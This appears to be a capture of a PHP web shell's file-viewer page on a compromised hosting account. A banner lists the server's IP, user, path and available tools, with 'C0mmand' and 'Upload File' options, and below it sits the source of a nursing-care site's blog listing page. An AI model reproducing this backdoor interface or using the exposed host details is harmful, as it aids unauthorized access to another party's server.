Server IP : 103.53.40.154 / Your IP : 3.149.23.124 Web Server : Apache System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : ppcad7no ( 715) PHP Version : 8.2.25 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0750) : /home2/ppcad7no/joshidiagnosticcentre.com/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!doctype html> <html class="" lang="en"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="csrf-token" content="WUr7YPVoFe0ZL5l6zQ5288VBVkEZefds8imN3kOa"> <title>Blog | Nursing Careo</title> <style> .pagecss{ display: inline-block; margin-right: 15px; width: 60px; height: 40px; line-height: 36px; text-align: center;border-radius: 7px; border: 2px solid #f1f1f1; font-size: 16px; font-weight: 400; color:white; background:lightblue; } </style> </head> <body class=""> <?php include "oth-header.php";?> <section class="text-white py-3 py-md-4 py-lg-5" id="section-header"> <div class="container"> <h1 class="text-center mb-3">Blog</h1> <div class="row justify-content-center"> <div class="col-md-10 col-lg-9 col-xl-8"> </div> </div> </div> </section> <div class="container"> <ol class="breadcrumb"> <li class="breadcrumb-item"><a href="index.php">Nursing Careo</a></li> <li class="breadcrumb-item active">Blog</li> </ol> </div> <!-- End top-section Area --> <!-- Start post Area --> <section class="blog-listing py-3 py-md-4 py-lg-4"> <div class="container"> <div class="row justify-content-center d-flex"> <div class="top-posts pt-50"> <div class="container"> <div class="row align-items-start"> <div class="col-lg-8 m-15px-tb"> <div class="row"> <?php include "admin/config.php"; $limit = 4; if(isset($_GET['page'])){ $page = $_GET['page']; }else{ $page = 1; } $offset = ($page - 1) * $limit; $sql = "SELECT * FROM `blog_page` ORDER BY id DESC LIMIT {$offset},{$limit}"; $run = mysqli_query($conn, $sql) or die("Query Failed."); if(mysqli_num_rows($run) > 0){ while($result = mysqli_fetch_assoc($run)) { ?> <div class="col-sm-6"> <div class="blog-grid shadow"> <div class="blog-img"> <div class="date"> <input type="hidden" value="<?php echo $result['id']?>"/> <span><?php echo $result['date']?></span> </div> <a href="blog-detail.php?id=<?php echo $result['id']?>"> <img src="images/<?php echo $result['image']?>" title="<?php echo $result['title']?>" alt="Nursing Care Services"> </a> </div> <div class="blog-info"> <h5><a href="blog-detail.php?id=<?php echo $result['id']?>"><?php echo $result['title']?></a></h5> <p><?php echo substr($result['description'],0,250) . "..."; ?></p> <div class="btn-bar"> <a href="blog-detail.php?id=<?php echo $result['id']?>" class="px-btn-arrow"> <span>Read More</span> <i class="arrow"></i> </a> </div> </div> </div> </div> <?php } } ?> </div> </div> <div class="col-lg-4 m-15px-tb blog-aside"> <!-- Latest Post --> <div class="widget widget-latest-post shadow"> <div class="text-secondary p-3"> <h3>Latest</h3> </div> <div class="widget-body"> <?php include "admin/config.php"; $limit = 5; $sql = "SELECT * FROM `blog_page` ORDER BY id DESC LIMIT {$limit}"; $run = mysqli_query($conn, $sql) or die("Query Failed."); if(mysqli_num_rows($run) > 0){ while($data = mysqli_fetch_assoc($run)) { ?> <div class="latest-post-aside media"> <div class="lpa-left media-body"> <div class="lpa-title"> <h5><a href="blog-detail.php?id=<?php echo $data['id']?>"><?php echo $data['title']?></a></h5> </div> <div class="lpa-meta"> <a class="date"><?php echo $data['date']?></a> </div> </div> <div class="lpa-right"> <a href="blog-detail.php?id=<?php echo $data['id']?>"> <img src="images/<?php echo $data['image']?>" alt="Nursing Care Services"> </a> </div> </div> <?php } } ?> </div> </div> <!-- End Latest Post --> </div> </div> <div class="justify-content-center d-flex mt-5"> <nav> <?php $sql1 = "SELECT * FROM blog_page"; $result1 = mysqli_query($conn, $sql1) or die("Query Failed."); if(mysqli_num_rows($result1) > 0){ $total_records = mysqli_num_rows($result1); $total_page = ceil($total_records / $limit); echo '<ul class="pagination"> <li class="page-item disabled" aria-disabled="true" aria-label="« Previous"> </li>'; if($page > 1){ echo '<li class="page-item " aria-current=""><span class="pagecss"><a href="blog.php?page='.($page - 1).'">Prev</a></li>'; } for($i = 1; $i <= $total_page; $i++){ if($i == $page){ $active = "active"; }else{ $active = ""; } echo '<li class="page-item active" aria-current="page"><span class="pagecss" ><a href="blog.php?page='.$i.'">'.$i.'</a></span></li>'; } if($total_page > $page){ echo '<li><span class="pagecss"><a href="blog.php?page='.($page + 1).'">Next</a></li>'; } echo '</ul></nav>'; } ?> </nav> </div> <!-- <div class="justify-content-center d-flex mt-5"> <nav> <ul class="pagination"> <li class="page-item disabled" aria-disabled="true" aria-label="« Previous"> <span class="page-link" aria-hidden="true">‹</span> </li> <li class="page-item active" aria-current="page"><span class="page-link">1</span></li> <li class="page-item"><a class="page-link" href="https://curodoc.com/blog?page=2">2</a></li> <li class="page-item"><a class="page-link" href="https://curodoc.com/blog?page=3">3</a></li> <li class="page-item"> <a class="page-link" href="blog?page=2" rel="next" aria-label="Next »">›</a> </li> </ul> </nav> </div> --> </div> </div> </div> </div> </section> <!-- End post Area --> <?php include "footer.php";?> </body> </html>